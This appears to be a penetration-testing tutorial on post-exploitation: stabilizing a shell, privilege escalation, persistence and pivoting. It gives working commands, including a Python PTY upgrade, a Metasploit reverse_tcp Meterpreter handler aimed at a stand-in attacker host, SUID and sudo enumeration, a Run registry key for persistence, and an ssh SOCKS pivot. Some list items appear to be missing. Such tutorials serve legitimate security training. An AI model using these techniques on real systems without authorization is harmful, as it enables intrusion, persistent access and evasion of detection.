A collection of guides and tutorials by Dante.
The fourth phase of the penetration testing methodology: converting a temporary, fragile foothold into a stable, persistent presence on the target system.
A raw shell from an exploit is often unstable and dies easily — a crash, a timeout, or a firewall reset kills your session. Stabilizing access means upgrading your shell, escalating privileges, and ensuring you can get back in even after a reboot.
# Spawn a TTY from a Python one-liner (on the target)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then from your terminal, background the shell and set raw mode
# (Ctrl+Z, then:)
stty raw -echo; fg
export TERM=xterm
# In msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST ATTACKER_IP
run
# Once you have the session:
sessions -i 1
sysinfo # view target OS info
getuid # current user
ps # list running processes
Gaining a stable foothold as a low-privilege user is rarely enough. Escalate to root / SYSTEM / administrator:
| Technique | Description |
|---|---|
| Misconfigured SUDO | sudo -l — binaries runnable as root without password |
| SUID binaries | find / -perm -4000 2>/dev/null |
| Kernel exploits | Unpatched kernel CVEs |
| Service misconfigurations | Weak service permissions, writable paths |
| Unattended credentials | Passwords in config files, bash history, env vars |
| Windows-specific | SeImpersonate tokens, Unquoted Service Paths, AlwaysInstallElevated |
Automated enum helpers:
Stabilizing access also means surviving reboots — persistence techniques:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run⚠️ Always obtain explicit written authorization before deploying persistence during an engagement.
With stable access, pivot and expand:
Use your foothold as a jump box to reach internal networks invisible from the internet:
ssh -D 1080 user@targetAfter stabilizing your access, learn how to Clear Your Tracks to avoid detection.
愛をこめて ダンテが作りました